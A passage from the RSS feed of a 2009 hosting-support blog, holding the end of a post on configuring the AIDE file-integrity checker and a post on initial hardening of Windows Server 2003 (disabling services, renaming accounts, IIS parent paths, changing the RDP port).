#n:      number of links<br />
#l:      link name<br />
#u:      user<br />
#g:      group<br />
#s:      size<br />
#b:      block count<br />
#m:      mtime<br />
#a:      atime<br />
#c:      ctime<br />
#S:      check for growing size<br />
#I:      ignore changed filename<br />
#md5:    md5 checksum<br />
#sha1:   sha1 checksum<br />
#sha256: sha256 checksum<br />
#sha512: sha512 checksum<br />
#rmd160: rmd160 checksum<br />
#tiger:  tiger checksum<br />
#haval:  haval checksum<br />
#crc32:  crc32 checksum<br />
#E:        Empty group<br />
#&gt;:      Growing logfile p+l+u+g+i+n+S</p>
<p>These basic rules are then grouped to custom rules which define the collection of rules they comply to for example &#8216;pug: p+u+g&#8217; means pug supports permissions, user and group rules together. You can alse create custom rules</p>
<p>#R:      p+i+l+n+u+g+s+m+c+acl+selinux+xattrs+md5<br />
#L:      p+i+l+n+u+g+acl+selinux+xattrs<br />
#MyRule: p+i+l+n+u+g</p>
<p>The following are available if you have mhash support enabled:</p>
<p>#gost:   gost checksum<br />
#whirlpool: whirlpool checksum</p>
<p>The following are available when explicitly enabled using configure:</p>
<p>#acl:    access control list<br />
#selinux SELinux security context<br />
#xattr:  extended file attributes</p>
<p><strong>AIDE has three types of selection lines</strong></p>
<ul>
<li>Regular selection lines, beginning with &#8220;/&#8221;. This line is a file/dirctory path with or without regular expressions followed by a rule to be used here.</li>
<li>Equals selection lines, beginning with &#8220;=&#8221;. This line is followed by a path to directory/file and tells aide not to proceed the rule into any subdirectory or file.</li>
<li>Negative selection lines, beginning with &#8220;!&#8221;. This line is followed by a path to directory/file and tells aide what files/directories to ignore in database.</li>
</ul>
<p>Next we have to decide what directories/files you want in the database</p>
<p>/etc p+i+u+g     #check only permissions, inode, user and group for etc<br />
/bin MyRule      # apply the custom rule to the files in bin<br />
/sbin MyRule     # apply the same custom rule to the files in sbin<br />
/var MyRule<br />
!/var/log/.*     # ignore the log dir it changes too often<br />
!/var/spool/.*   # ignore spool dirs as they change too often<br />
!/var/adm/utmp$  # ignore the file /var/adm/utmp</p>
<p><strong>URLS that can be used</strong><br />
we have URLs in the database and database_out portion of aide.conf. These Urls can be any of the following. Input urls cannot be used as outputs and vice versa.</p>
<p>stdout</p>
<p>stderr Output is sent to stdout,stderr respectively.</p>
<p>stdin  Input is read from stdin.</p>
<p>file://filename<br />
Input is read from filename or output is written to filename.</p>
<p>fd:number<br />
Input is read from file-descriptor number or output is written to<br />
number.</p>
<p><strong>Useful Commands</strong><br />
<em>aide -C</em> : Performs a check on the filesystem ? (also same as: aide)<br />
<em>aide -i</em> : Initialises or creates the benchmark database supplied by database_out directive (here it is aide.db.new)<br />
<em>aide -u -c /etc/aide.conf</em> : update the database and use the specified config file</p>
<p><strong>Usage</strong><br />
Before putting one&#8217;s server into the network, the admin will have to save a secure configuration of the system by:<br />
<em><br />
aide -i</em></p>
<p><em>mv aide.db.new aide.db<br />
</em><br />
The second command transfers the server&#8217;s earlier state(aide.db database) with the new one(aide.db.new). So be careful when you do this. It is advisable to keep a backup of the earlier database.</p>
<p>Next time in-order to check for any break-in perform<br />
<em>aide </em><br />
or<br />
<em>aide -C</em></p>
<p>To compare the current database with some earlier backed-up database, give the path of the backed-up database to database_new option in aide.conf and perform:<br />
<em>aide &#8211;compare</em></p>
<p>The task of saving the old database and comparing with a new one has to be done periodically (preferably daily with the help of a cron task).</p>
<p><strong>Reference Links</strong></p>
<p>http://www.cs.tut.fi/~rammer/aide.html (Home Page)</p>
<p>http://sourceforge.net/projects/aide (Sourceforge Project Page)</p>
<p>http://www.cs.tut.fi/~rammer/aide/manual.html (Manual Page)</p>
<p>http://www.securityfocus.com/infocus/1424 (Reference)</p>
<p>http://www.penguin-soft.com/penguin/man/5/aide.conf.html (Reference)</p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=AIDE+to+aid+your+server+security+needs+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F61" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=AIDE+to+aid+your+server+security+needs+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F61" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/04/securing-your-server-with-aide/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Initial Hardening or Securing and performance tweaking of a Windows Server 2003 &#8211; Part I</title>
		<link>http://www.supportsages.com/blog/2009/04/initial-hardening-or-securing-and-performance-tweaking-a-windows-server-2003-part-i/</link>
		<comments>http://www.supportsages.com/blog/2009/04/initial-hardening-or-securing-and-performance-tweaking-a-windows-server-2003-part-i/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 10:47:06 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=55</guid>
		<description><![CDATA[I am hereby mentioning a brief howto on securing a default Windows Server 2003. 90% of the sages at SupportSages are Unix fanatics and I am a rebel belonging to the rest of 10% :) But often we get requests on securing Windows Servers and hence I am hereby briefing the basic steps we should take to secure a windows server. As the lead sage says, security is a process which starts even before the installation of OS or designing a network and can't be done in a day or two, just the initial hardening can be. So the steps ...]]></description>
			<content:encoded><![CDATA[<p>I am hereby mentioning a brief howto on securing a default Windows Server 2003. 90% of the sages at SupportSages are Unix fanatics and I am a rebel belonging to the rest of 10% <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  But often we get requests on securing Windows Servers and hence I am hereby briefing the basic steps we should take to secure a windows server. As the lead sage says, security is a process which starts even before the installation of OS or designing a network and can&#8217;t be done in a day or two, just the initial hardening can be. So the steps mentioned here is just the initial hardening. I would love to add more based on suggestions of you. I will mention the fundamentals of troubleshooting and fixing the permission issues of windows in another post. This post is for a standalone server and not a member of an AD (Active Directory).</p>
<blockquote><p>
For all the TUI/CLI guys out there. did you MS Windows Server 2008 can run without a GUI. You just have to install Server Core. You now can command Windows to do what you want <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p></blockquote>
<p>Subscribe to MS&#8217;s Security bulletin list at http://technet.microsoft.com/hi-in/security/dd252948(en-us).aspx lists.</p>
<p><strong>Disable all services you do not need<br />
</strong></p>
<p>Distributed File System<br />
Distributed Link Tracking Client<br />
Distributed Link Tracking Server<br />
Fax Service<br />
Indexing Service<br />
Netmeeting Remote Desktop Sharing<br />
Print Spooler<br />
Telnet</p>
<p>Sevices you may or may not disable, if not already disabled. Usually a server installation turns this off. Did you know out of 86 default installed services 43 of them are disabled by default.</p>
<p>ClipBook<br />
Computer Browser (On a server do you want this ?)<br />
Help and Support (Again, don&#8217;t you have other sages around you for this?)<br />
IMAPI CD-Burning COM Service (Dont need this)<br />
Messenger<br />
Remote Registry<br />
TCP/IP NetBIOS Helper</p>
<p><strong>Harden the TCP/IP Stack</strong></p>
<p>Just like you do in Linux by editing sysctl.conf, you can configure various TCP/IP parameters in the Windows registry in order to protect against network-level denial of service attacks including SYN flood attacks, ICMP attacks and SNMP attacks. You can configure registry keys to:</p>
<p>* Enable SYN flood protection when an attack is detected.<br />
* Set threshold values that are used to determine what constitutes an attack.</p>
<p>Follow the HowTo at <a  href="http://msdn.microsoft.com/en-us/library/aa302363.aspx">http://msdn.microsoft.com/en-us/library/aa302363.aspx</a></p>
<p><strong>Renaming the Administrator and Guest Account to something else.</strong></p>
<p>Follow the Howto @ <a  href="http://support.microsoft.com/kb/816109">http://support.microsoft.com/kb/816109</a></p>
<p>In that Howto, the AD Users and Computers Snap in is taken by selecting &#8220;Start&#8221;, &#8220;Programs&#8221;, &#8220;Administrative Tools&#8221;, and &#8220;Active Directory Users and Computers&#8221; or by simply typing dsa.msc in the Start -&gt; Run.</p>
<p><strong>Enabling HTTP Compression</strong></p>
<p>This is not security related, but may improve performance. Took from a website and hence including here also. But remember that Horde error happening for Middle East which is described earlier in one of the posts can creep in.</p>
<p>Check out the URL <a  href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/d52ff289-94d3-4085-bc4e-24eb4f312e0e.mspx?mfr=true">http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/d52ff289-94d3-4085-bc4e-24eb4f312e0e.mspx?mfr=true</a></p>
<p><strong>DIsable parent paths (if enabled)</strong></p>
<p>If we are doing monthly management of the server, even if the customer asks to enable parent paths, don&#8217;t do it on the server of a hosting firm. Lots of risks are there. Good thing is that in IIS 6.0 it is disabled by default. Ask the developers to use absolute path. If it is enabled, disable it. But on a live production server, if it is enable, before disabling the parent path communicate with the contact person for the firm as it may break websites using it.</p>
<ul>
<li>Start the Internet Services Manager (Start &#8211; Programs &#8211; Administrative Tools &#8211; Internet Services Manager</li>
<li>Right click on the web site and select properties</li>
<li>Select the &#8216;Home Directory&#8217; tab</li>
<li>Click the &#8216;Configuration&#8217; button under the Application Settings</li>
<li>Select the &#8216;App Options&#8217; tab</li>
<li>Uncheck the &#8216;Enable parent paths&#8217; box and click Apply</li>
</ul>
<p>Article  link here says how to enable it. <a  href="http://support.microsoft.com/kb/q226474/">http://support.microsoft.com/kb/q226474/</a> . But its for reference only.</p>
<p><strong>Use Dedicated Application pools</strong></p>
<p>Again performance related Always try to isolate websites using dedicated applicaiton pools. You can define it under IIS or in many control panels, it is just a click of the button or an option to be checked. Error in one dedicated pool will not affect other pool and hence othe websites. Also this will be helpful when troubleshooting / debugging issues as well.</p>
<p><strong>Changing the RDC or Remote desktop port</strong></p>
<p>Take registry using regedit and browse the hive keys to</p>
<p>HKEY_LOCAL_MACHINE &gt; System &gt; CurrentControlSet &gt; Control &gt; TerminalServer &gt; WinStations &gt; RDP-Tcp</p>
<p>and then change the Registry subkey PortNumber to a non-default, above 1024 one.</p>
<p>On Server 2008, in addition to changing the registry key above, you also need to create a new Inbound TCP rule in your windows firewall to allow connections on your new port.  You can then disable the existing remote desktop inbound rule (which is hard coded to port 3389) and / or add a new one to allow your port. Below command should work also.</p>
<p><strong>netsh advfirewall firewall add rule name=&#8221;New Remote desktop&#8221; dir=in action=allow protocol=TCP localport=&#8217;NEW_PORT_NO&#8217;</strong></p>
<p>Refer <a  href="http://support.microsoft.com/kb/947709">http://support.microsoft.com/kb/947709</a> for more help on writing firewall rules.</p>
<p>If working on a hacked or suspected hack system, keep the Security Identifier list available at <a  href="http://support.microsoft.com/kb/243330">http://support.microsoft.com/kb/243330</a> handy.</p>
<p>Lots of tools useful for forensics and daily auditing purposes will be coming on next post or even this post itself will get re-published. Till then read about IPTables equivalent in windows (oh..No..Kinda equivalent) <a  href="http://support.microsoft.com/kb/813878">http://support.microsoft.com/kb/813878</a></p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=Initial+Hardening+or+Securing+and+performance+tweaking+of+a+Windows+Server+2003+-+Part+I+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F55" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=Initial+Hardening+or+Securing+and+performance+tweaking+of+a+Windows+Server+2003+-+Part+I+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F55" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/04/initial-hardening-or-securing-and-performance-tweaking-a-windows-server-2003-part-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
